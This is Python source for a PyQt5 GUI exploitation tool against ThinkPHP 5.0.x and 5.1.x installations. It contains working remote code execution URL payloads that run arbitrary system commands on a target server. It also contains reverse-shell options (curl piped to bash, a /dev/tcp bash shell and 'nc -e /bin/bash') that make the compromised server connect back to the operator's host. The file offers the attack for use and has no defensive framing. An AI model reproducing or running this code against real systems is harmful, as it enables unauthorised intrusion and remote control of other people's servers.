#!/usr/bin/python3.8
# -*- coding: utf-8 -*-
# @Time    : 2020/6/26 5:51 下午
# @Author  : rocky
# @Email   : 939555035@qq.com
# @File    : run-main.py
# @Software: PyCharm

import sys
import OperatingUi

from PyQt5.QtCore import QThread,pyqtSignal,QDateTime
from PyQt5.QtWidgets import QApplication, QMainWindow

import requests
import time

class BackendThred(QThread):
    updata_date = pyqtSignal(str)
    def run(self):
        while True:
            data = QDateTime.currentDateTime()
            currentTime = data.toString("yyyy-MM-dd hh:mm:ss")
            self.updata_date.emit(str(currentTime))
            time.sleep(1)

class MainWindow(QMainWindow):
    def __init__(self,parent=None):
        super(MainWindow,self).__init__(parent)
        self.ui = OperatingUi.Ui_MainWindow()
        self.ui.setupUi(self)


    def initUI(self):
        self.backend = BackendThred()
        self.backend.updata_date.connect(self.handleDisplay)
        self.thread = QThread()
        self.backend.moveToThread(self.thread)
        # 开始线程
        self.thread.started.connect(self.backend.run)
        self.thread.start()
        # self.backend.start()

    def handleDisplay(self,data):
        self.ui.basicinfotextEdit.setText(data)

    def sendPayload(self):

        targetAddr = self.ui.targetlineEdit.text()
        payload = self.ui.payloadCombo.currentText()
        command = self.ui.commandCombo.currentText()
        lhost = self.ui.ipaddrlineEdit.text()
        rebound = self.ui.reboundCombo.currentText()

        if payload == 'thinkphp-5.0.21-exp':
            payloadData = r'/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]='
        elif payload == 'thinkphp-5.0.22-exp':
            payloadData = r'/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='
        elif payload == 'thinkphp-5.1.x-exp':
            payloadData = r'/?s=index/\think\Request/input&filter=system&data='
        else:
            return '操作错误'

        req = requests.get(targetAddr + payloadData + command)
        req.encoding = 'utf-8'
        result = req.text
        print(result)
        self.ui.basicinfotextEdit.setText(result)

    def execRebound(self):
        QApplication.processEvents()
        targetAddr = self.ui.targetlineEdit.text()
        payload = self.ui.payloadCombo.currentText()
        command = self.ui.commandCombo.currentText()
        lhost = self.ui.ipaddrlineEdit.text()
        rebound = self.ui.reboundCombo.currentText()

        if payload == 'thinkphp-5.0.21-exp':
            payloadData = r'/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]='
        elif payload == 'thinkphp-5.0.22-exp':
            payloadData = r'/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='
        elif payload == 'thinkphp-5.1.x-exp':
            payloadData = r'/?s=index/\think\Request/input&filter=system&data='
        else:
            return '操作错误'

        if rebound == 'curl x.x.x.x | bash':
            reboundData = r'curl %s | bash' % lhost
        elif rebound == '/bin/bash -i > /dev/tcp/x.x.x.x/8888 0<&1 2>&1':
            reboundData = r'/bin/bash -i > /dev/tcp/%s/8888 0<&1 2>&1' % lhost
        elif rebound == 'nc x.x.x.x 8888 -e /bin/bash':
            reboundData = r'nc %s 8888 -e /bin/bash' % lhost
        else:
            return '操作错误'

        # msg = '%s' % targetAddr + payloadData + reboundData
        # print(msg)

        req = requests.get(targetAddr + payloadData + reboundData)
        req.encoding = 'utf-8'
        result = req.text
        # print(result)
        self.ui.basicinfotextEdit.clear()
        self.ui.basicinfotextEdit.setText(result)

    def clearResult(self):
        self.ui.basicinfotextEdit.clear()

if __name__ == '__main__':
    QApplication.processEvents()
    time.sleep(1)
    app = QApplication(sys.argv)
    win = MainWindow()
    win.show()
    sys.exit(app.exec_())


